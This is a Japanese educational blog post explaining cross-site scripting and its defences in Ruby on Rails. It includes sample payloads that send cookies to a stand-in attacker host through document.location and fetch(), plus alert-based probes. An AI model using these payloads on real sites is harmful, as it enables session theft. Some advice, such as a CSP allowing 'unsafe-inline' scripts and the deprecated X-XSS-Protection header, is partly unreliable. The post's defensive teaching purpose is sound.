💨

XSS ってなに?

に公開

XSS ってなに?

クロスサイトスクリプティング(XSS)は、簡単に言うと「悪い人がウェブサイトに仕掛けた罠」みたいなもの。

学校の黒板で例えてみる

  1. ふつうの黒板
    先生が黒板に「今日の宿題は算数のドリルです」と書きます。これは安全。

  2. XSSの黒板
    悪い人(悪太郎くん)が黒板に「今日の宿題は算数のドリルです。あと、みんなのおやつを悪太郎くん全部渡してください」と書いてしまう。そして、本当の先生が書いたように見せかける。

インターネットでの例

  1. コメント欄の罠

    • あなたが好きなゲームの掲示板があるとします
    • 普通の人は「このゲーム楽しいね!」とコメントします
    • でも悪い人は特別な文字(プログラムの命令)を含んだコメントを書きます
    • そのコメントを見た人のパソコンで、悪いプログラムが動いてしまう
  2. 何が起こるの?

    • あなたのパスワードが盗まれる
    • あなたのアカウントで勝手に投稿される
    • 変なポップアップが出てくる
    • 知らないうちに別のサイトに行ってしまう

はい、こんな感じになりますが 詳しく説明↓↓↓

クロスサイトスクリプティング(XSS)の詳細説明

XSSの仕組み(技術的な詳細)

クロスサイトスクリプティング攻撃では、攻撃者は悪意のあるコード(通常JavaScriptコード)をウェブサイトに注入します。

具体的な手順:

  1. 攻撃コードの作成
    攻撃者はJavaScriptなどのコードを作成。

    例えば:

    <script>
      document.location='https://悪いサイト.com/steal.php?cookie='+document.cookie;
    </script>
    

    このコードはユーザーのCookie情報を盗み出そうとしています。

  2. コードの注入
    攻撃者はこのコードをウェブサイトに送信します。注入経路として代表的なのは:

    • コメント欄
    • 検索フォーム
    • URLパラメータ
    • プロフィール情報
  3. コードの保存と実行

    • 反射型XSS:ユーザーがリンクをクリックすると、サーバーがそのコードをそのまま返し、実行される
    • 格納型XSS:コードがデータベースに保存され、他のユーザーがページを訪れるたびに実行される
    • DOM型XSS:ブラウザ内でJavaScriptがURLなどから取得したデータを安全に処理せずにページに挿入し、実行される

具体的な攻撃例

例1:Cookieの盗難(セッションハイジャック)

  1. 攻撃者が掲示板に悪意あるスクリプトを投稿
  2. 管理者がその投稿を見る
  3. スクリプトが実行され、管理者のCookieが攻撃者のサーバーに送信される
  4. 攻撃者はそのCookieを使って管理者になりすまし

例2:フィッシング攻撃

  1. 攻撃者が偽のログインフォームを作るコードを注入
  2. ユーザーがそのページを訪れると、本物そっくりのログイン画面が表示される
  3. ユーザーが情報を入力すると、攻撃者のサーバーに送信される

例3:ウェブサイトの改ざん

  1. XSSを使って管理者の権限を奪取
  2. ウェブサイトのコンテンツを変更
  3. 訪問者全員に悪意あるコードが配信される

防御方法(詳細)

ウェブサイト開発者側の対策

  1. 入力検証と出力エンコード

    // XSS攻撃を防ぐためのHTMLエスケープ関数の例
    function escapeHTML(str) {
      return str.replace(/[&<>"']/g, function(match) {
        return {
          '&': '&amp;',
          '<': '&lt;',
          '>': '&gt;',
          '"': '&quot;',
          "'": '&#39;'
        }[match];
      });
    }
    
  2. Content Security Policy (CSP)

    Content-Security-Policy: script-src 'self' https://trusted-cdn.com
    

    これにより、信頼できるソースからのスクリプトのみ実行可能に。

  3. HTTPOnly Cookie

    Set-Cookie: sessionId=abc123; HttpOnly
    

    JavaScriptからCookieへのアクセスを防止。

  4. X-XSS-Protection ヘッダー

    X-XSS-Protection: 1; mode=block
    

    ブラウザの組み込みXSS対策を有効化。

ユーザー側の対策

  1. ブラウザーの更新:最新のセキュリティパッチを適用

  2. セキュリティ拡張機能:NoScript、uBlock Originなどの使用

  3. 不審なリンクの回避:特に長いURLや奇妙なパラメータがついたものに注意

  4. ログイン情報の定期的な変更:万が一情報が漏れても被害を最小限に

XSSの種類(詳細)

1. 反射型XSS(Reflected XSS)

https://example.com/search?q=<script>alert('XSS')</script>

このURLをクリックすると、サーバーがそのままスクリプトを返し、実行されます。

2. 格納型XSS(Stored XSS)

掲示板に以下のコメントを投稿:

素晴らしい記事です!<script>fetch('https://悪いサイト.com/steal?cookie='+document.cookie)</script>

このコメントを見た全員が攻撃を受けます。

3. DOM型XSS(DOM-based XSS)

// 危険なJavaScriptコード
document.getElementById("welcome").innerHTML = 
  "ようこそ、" + location.hash.substring(1) + "さん!";

URLが https://example.com/page.html#<img src=x onerror=alert('XSS')> の場合、スクリプトが実行されます。

Ruby on Rails アプリケーションにおいてXSSを防ぐ具体的な方法は?

Railsはデフォルトでいくつかの保護機能を持っています。

Railsのデフォルト保護機能

  1. 自動エスケープ
    Railsのビューテンプレート(ERB)では、<%= ... %>で出力される内容は自動的にHTMLエスケープされます。なるべく使いましょう

    <!-- 安全: 自動的にエスケープされる -->
    <%= user_input %>
    
  2. Strong Parameters
    コントローラでパラメータをフィルタリングすることで、不正なデータの挿入を防止します。

    # パラメータを明示的に許可
    def user_params
      params.require(:user).permit(:name, :email)
    end
    

追加の対策(Gem など)

  1. Content Security Policy (CSP)の設定

    SecureHeaders gemを使用して設定する例

https://github.com/github/secure_headers

# Gemfile
gem 'secure_headers'

# config/initializers/secure_headers.rb
SecureHeaders::Configuration.default do |config|
  config.csp = {
    default_src: %w('self'),
    script_src: %w('self' 'unsafe-inline'),
    style_src: %w('self' 'unsafe-inline'),
    # 他の設定...
  }
end
  1. サニタイザーの使用

    HTMLを許可する場合は、sanitize ヘルパーを使用:

    <%= sanitize user_content %>
    

    特定のタグだけ許可:

    sanitize user_content, tags: %w(h1 h2 h3 p b i), attributes: %w(id class)
    
  2. セキュアなCookieの設定

    # config/initializers/session_store.rb
    Rails.application.config.session_store :cookie_store, 
      key: '_app_session',
      secure: Rails.env.production?,
      httponly: true
    
  3. X-XSS-Protection ヘッダーの設定

    # application_controller.rb
    before_action :set_xss_protection
    
    def set_xss_protection
      response.headers['X-XSS-Protection'] = '1; mode=block'
    end
    
  4. JSONレスポンスのエスケープ

    # ApplicationController
    def json_response(object, status = :ok)
      render json: ERB::Util.json_escape(object.to_json), status: status
    end
    
  5. ビューヘルパーの作成

    # app/helpers/application_helper.rb
    def safe_markdown(text)
      sanitize(markdown(text), tags: %w(p strong em h1 h2 h3 ul ol li))
    end
    
  6. brakeman gemの利用

    セキュリティ脆弱性を検出するための静的解析ツール:

    # Gemfile
    group :development do
      gem 'brakeman', require: false
    end
    

    実行:

    bundle exec brakeman
    

注意すべき危険なパターン

  1. ヘルパーメソッドを使わない

    # 危険な例
    def profile_link(user)
      "<a href='/users/#{user.id}'>#{user.name}</a>".html_safe
    end
    
    # 安全な例
    def profile_link(user)
      link_to(user.name, user_path(user))
    end
    
  2. JavaScriptでのデータ埋め込み

    <!-- 危険な例 -->
    <script>
      var username = "<%= @user.name %>";
      // @user.nameに " や </script> が含まれていると危険
    </script>
    
    <!-- 安全な例 -->
    <script>
      var username = <%= raw @user.name.to_json %>;
    </script>
    

Rails アプリケーションにおける、定期的なセキュリティアップデートの適用も重要です。

おわりに

XSSは単純なようで非常に複雑な攻撃手法で、ウェブセキュリティの主要な脅威の一つ。
多層的な防御が重要で、開発者とユーザーの両方が注意を払う必要がある。

Discussion